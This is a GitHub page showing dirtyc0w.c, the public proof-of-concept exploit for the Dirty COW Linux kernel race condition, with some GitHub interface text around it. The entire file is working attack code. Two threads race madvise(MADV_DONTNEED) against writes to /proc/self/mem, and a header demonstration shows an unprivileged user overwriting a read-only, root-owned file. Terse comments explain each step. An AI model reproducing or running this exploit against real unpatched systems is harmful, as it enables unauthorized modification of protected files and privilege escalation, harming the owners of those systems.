Permalink
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
dirtycow.github.io/dirtyc0w.c
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
114 lines (109 sloc)
2.76 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| ####################### dirtyc0w.c ####################### | |
| $ sudo -s | |
| # echo this is not a test > foo | |
| # chmod 0404 foo | |
| $ ls -lah foo | |
| -r-----r-- 1 root root 19 Oct 20 15:23 foo | |
| $ cat foo | |
| this is not a test | |
| $ gcc -pthread dirtyc0w.c -o dirtyc0w | |
| $ ./dirtyc0w foo m00000000000000000 | |
| mmap 56123000 | |
| madvise 0 | |
| procselfmem 1800000000 | |
| $ cat foo | |
| m00000000000000000 | |
| ####################### dirtyc0w.c ####################### | |
| */ | |
| #include <stdio.h> | |
| #include <sys/mman.h> | |
| #include <fcntl.h> | |
| #include <pthread.h> | |
| #include <unistd.h> | |
| #include <sys/stat.h> | |
| #include <string.h> | |
| #include <stdint.h> | |
| void *map; | |
| int f; | |
| struct stat st; | |
| char *name; | |
| void *madviseThread(void *arg) | |
| { | |
| char *str; | |
| str=(char*)arg; | |
| int i,c=0; | |
| for(i=0;i<100000000;i++) | |
| { | |
| /* | |
| You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 | |
| > This is achieved by racing the madvise(MADV_DONTNEED) system call | |
| > while having the page of the executable mmapped in memory. | |
| */ | |
| c+=madvise(map,100,MADV_DONTNEED); | |
| } | |
| printf("madvise %d\n\n",c); | |
| } | |
| void *procselfmemThread(void *arg) | |
| { | |
| char *str; | |
| str=(char*)arg; | |
| /* | |
| You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 | |
| > The in the wild exploit we are aware of doesn't work on Red Hat | |
| > Enterprise Linux 5 and 6 out of the box because on one side of | |
| > the race it writes to /proc/self/mem, but /proc/self/mem is not | |
| > writable on Red Hat Enterprise Linux 5 and 6. | |
| */ | |
| int f=open("/proc/self/mem",O_RDWR); | |
| int i,c=0; | |
| for(i=0;i<100000000;i++) { | |
| /* | |
| You have to reset the file pointer to the memory position. | |
| */ | |
| lseek(f,(uintptr_t) map,SEEK_SET); | |
| c+=write(f,str,strlen(str)); | |
| } | |
| printf("procselfmem %d\n\n", c); | |
| } | |
| int main(int argc,char *argv[]) | |
| { | |
| /* | |
| You have to pass two arguments. File and Contents. | |
| */ | |
| if (argc<3) { | |
| (void)fprintf(stderr, "%s\n", | |
| "usage: dirtyc0w target_file new_content"); | |
| return 1; } | |
| pthread_t pth1,pth2; | |
| /* | |
| You have to open the file in read only mode. | |
| */ | |
| f=open(argv[1],O_RDONLY); | |
| fstat(f,&st); | |
| name=argv[1]; | |
| /* | |
| You have to use MAP_PRIVATE for copy-on-write mapping. | |
| > Create a private copy-on-write mapping. Updates to the | |
| > mapping are not visible to other processes mapping the same | |
| > file, and are not carried through to the underlying file. It | |
| > is unspecified whether changes made to the file after the | |
| > mmap() call are visible in the mapped region. | |
| */ | |
| /* | |
| You have to open with PROT_READ. | |
| */ | |
| map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); | |
| printf("mmap %zx\n\n",(uintptr_t) map); | |
| /* | |
| You have to do it on two threads. | |
| */ | |
| pthread_create(&pth1,NULL,madviseThread,argv[1]); | |
| pthread_create(&pth2,NULL,procselfmemThread,argv[2]); | |
| /* | |
| You have to wait for the threads to finish. | |
| */ | |
| pthread_join(pth1,NULL); | |
| pthread_join(pth2,NULL); | |
| return 0; | |
| } |